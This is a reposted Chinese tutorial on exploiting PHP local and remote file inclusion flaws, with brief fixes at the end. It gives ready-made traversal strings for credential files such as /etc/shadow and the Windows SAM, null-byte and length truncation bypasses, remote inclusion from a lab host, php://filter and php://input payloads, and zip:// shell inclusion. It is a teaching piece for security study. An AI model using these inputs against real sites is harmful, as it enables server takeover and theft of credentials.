文件包含漏洞挖掘(二)

简介: 文件包含漏洞挖掘(二)

本文转载:https://xiaochuhe.blog.csdn.net/article/details/122808975
一、概念
前言:

  PHP中include和require的区别主要是:include在包含过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会知己报错并退出程序的执行。
漏洞产生原因:

  文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含了其他恶意文件,导致执行了非预期的代码。
分类:

  本地文件包含和远程文件包含。
二、本地文件包含
可利用途径:

  ·上传图片:图片包含getshell

  ·读文件:读取php文件

  ·包含日志文件getshell

  ·包含/proc/self/environ/文件getshell

  ·有phpinfo可包含临时文件

  ·包含data://或php://inout等伪协议(需要allow_url_include=On)

2.1 目录遍历敏感信息路径
常见的敏感信息路径

windows系统:

  c:\boot.ini  //  查看系统版本

  c:\windows\system32\inetsrc\MetaBase.xml   //IIS配置文件

  c:\windows\repair\sam   //存储windows系统初次安装的密码

  c:\programFiles\mysql\my.ini  //MYSQL root密码

  c:\windows\php.ini // php 配置信息

Linux/Unix系统

    /etc/passwd // 账户信息

    /etc/shadow // 账户密码文件

    /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

    /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

    /usr/local/app/php5/lib/php.ini // PHP相关配置

    /etc/httpd/conf/httpd.conf // Apache配置文件

    /etc/my.conf // mysql 配置文件

2.2 session文件包含

利用条件:session存储位置可以获取

  获取方法1:通过phpinfo信息获取session存储位置

  获取方法2:猜测默认的session存放位置

    Linux下默认存放在/var/lib/php/session目录下

    windows默认C:\WINDOWS\Temp或集成环境下的tmp文件夹里

方法:

  存在本地文件包含漏洞,可通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell
2.3 有限制本地包含绕过
绕过方法1:%00 截断

  条件:magic_quotes_gpc = Off PHP 版本<5.3.4

  测试:?filename=../../../../../../boot.ini%00

绕过方法2:路径长度截断

  条件:windows下目录路径最大长度为256字节,超出部分将丢弃;

       Linux下目录最大长度为4096字节,超出长度将丢弃

  测试:?filename=text.txt././././.  或?filename=test.txt.....

三、远程文件包含
  前提:服务器的php.ini的配置选项allow_url_fopen和allow_url_include为On,则include/require函数式可加载远程文件的。

有限制远程包含绕过

 测试代码:<?php include($_GET['filename'].".html");?> 多添加了html后缀,到最后远程包含的文件 一会多一个HTML后缀

问号绕过

  测试:?filename=http://192.168.91.133/FI/php.txt?

号绕过

  测试:?filenamr=http://192.168.91.133/FI/php.txt%23

空格绕过

  测试:?filename=http://192.168.91.133/FI/php.txt%20

四、PHP伪协议使用
php://filter(本地磁盘文件读取)

条件:只是读取,需要开启allow_url_fopen,不需开启allow_url_include

用法:?filename=php://filter/convert.base64-encode/resource=xx.php

  或:?filwname=php://filter/read=convert.base64-encode/resource=xx.php

php://input(读取post文件)

   遇到file_get_contents()就要想着用php://input绕过,因PHP伪协议也可里要补发http协议,即可使用post方式传递数据。

测试代码:<?php echo file_get_contents("php://input");?>

用法:

php://input(木马写入)

条件:allow_url_fopen和allow_url_include同时开启 (PHP<5.3.0)

测试代码:

  

用法:  
图片.png

  

php://input(命令执行)

条件:allow_url_fopen和allow_url_include同时开启 (PHP<5.3.0)

测试代码:  

       图片.png
       

用法:
图片.png

    

zip://伪协议

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
五、漏洞挖掘

无通用性方法

特定CMS,特定版本可能存在

web漏洞扫描器扫描

六、修复方案

PHP中可使用open_basedir配置限制访问限制在指定的区域

过滤.(点)/(反斜杠)(斜杠)

进制服务器远程文件包含

相关文章
|
25天前
|
安全 前端开发 Linux
文件包含漏洞
文件包含漏洞
|
25天前
|
安全 PHP
文件包含漏洞(一)代码解读
文件包含漏洞(一)代码解读
|
6月前
|
安全 关系型数据库 MySQL
文件包含漏洞利用技术总结
文章讨论了PHP文件包含漏洞及其利用方法,包括远程文件包含、目录遍历和特殊协议利用等安全风险。
64 0
文件包含漏洞利用技术总结
|
开发框架 安全 前端开发
【网络安全】护网系列-web漏洞(文件上传漏洞、文件包含漏洞)
【网络安全】护网系列-web漏洞(文件上传漏洞、文件包含漏洞)
389 0
|
安全 关系型数据库 MySQL
代码审计--文件包含
代码审计--文件包含
|
存储 安全 Unix
通用漏洞之文件包含漏洞
通用漏洞之文件包含漏洞
236 0
|
安全 网络安全 PHP
文件包含漏洞渗透攻击_2 | 学习笔记
快速学习 文件包含漏洞渗透攻击_2
155 0
文件包含漏洞渗透攻击_2 | 学习笔记
|
SQL 安全 Shell
文件包含漏洞渗透攻击_3 | 学习笔记
快速学习 文件包含漏洞渗透攻击_3
167 0
文件包含漏洞渗透攻击_3 | 学习笔记
|
机器学习/深度学习 存储 安全